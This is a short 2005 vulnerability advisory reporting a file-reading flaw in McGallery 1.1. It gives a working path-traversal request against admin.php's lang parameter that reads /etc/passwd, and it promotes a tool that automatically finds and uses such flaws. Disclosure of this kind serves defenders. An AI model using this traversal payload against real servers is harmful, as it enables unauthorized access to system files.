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From:	D_BuG <d_bug_(at)_bk.ru>
Date:	16.06.2005
Subject:	Vulnerability: McGallery v 1.1 files reading on disk

Vendor: Phpforum, http://www.phpforums.net/
Product: McGallery v 1.1

Vulnerability: files reading on disk
Consequences: Web server paths are opened
Risk: High

Description: Attacker can form the query in URL form ang get the access to the system files
Example: thttp://example.com/mcgallery/admin.php?lang=../../../../../../etc/passwd

Discoveried By D_BuG d_bug@bk.ru
NemesisSecurityTeam
http://nemesisoftware.com/

CheckZond free v. 1.0 http://nemesisoftware.com/products.htm
uses the vulnerabilities above for automatic vulnerabilities search (Google Hacking technique) and usage.

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D_BuG                          mailto:d_bug@bk.ru